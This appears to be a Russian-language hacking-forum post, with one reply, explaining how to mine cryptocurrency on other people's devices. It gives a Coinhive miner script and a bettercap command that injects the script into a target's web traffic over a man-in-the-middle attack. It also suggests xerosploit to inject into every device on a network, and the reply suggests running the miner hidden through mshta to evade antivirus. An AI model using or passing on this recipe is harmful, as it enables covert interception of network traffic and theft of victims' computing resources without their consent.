Статья Майним криптовалюту с помощью MITM атаки

Хайль всем, решил поделиться способ майнинга криптовалюты за счет MITM атаки.
Вы должны зарегаться тут:
Код:
https://coinhive.com/
Теперь создаем html файл с таким содержимым:
Код:
<script src="https://coinhive.com/lib/coinhive.min.js"></script>
<script>
    var miner = new CoinHive.Anonymous('SITE_KEY');
    miner.start();
</script>
Где же взять SITE_KEY ? :
2018-06-08_12-07-22.png
2018-06-08_12-07-48.png
2018-06-08_12-08-09.png
Теперь заинжектим наш файл с помощью bettercap:
Код:
bettercap -I wlan0(интерфейс) -T <ip цели> --proxy-module injecthtml --html-file <путь к файлу .html>
2018-06-08_12-14-49.png
ЗЫ. Если в сети много народу можно использовать xerosploit, у него есть функция инжекта для всех устройств, находящихся в сети.
 
В мыслях есть идея как сделать без митм атаки
Если запускать .html локально т.е. не поднимать не митм не сайт а просто запускать файлик при помощи браузера и запускать его под хайдом и не обязательно в браузере а в том же mshta (к примеру)

Я же скинул образец сайта, зайдите и посмотрите, сработает ваш АВ или нет
1530961634426.png
 
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab

🚀 Первый раз на Codeby?
Гайд для новичков: что делать в первые 15 минут, ключевые разделы, правила
Начать здесь →
🔴 Свежие CVE, 0-day и инциденты
То, о чём ChatGPT ещё не знает — обсуждаем в реальном времени
Threat Intel →
💼 Вакансии и заказы в ИБ
Pentest, SOC, DevSecOps, bug bounty — работа и проекты от проверенных компаний
Карьера в ИБ →

HackerLab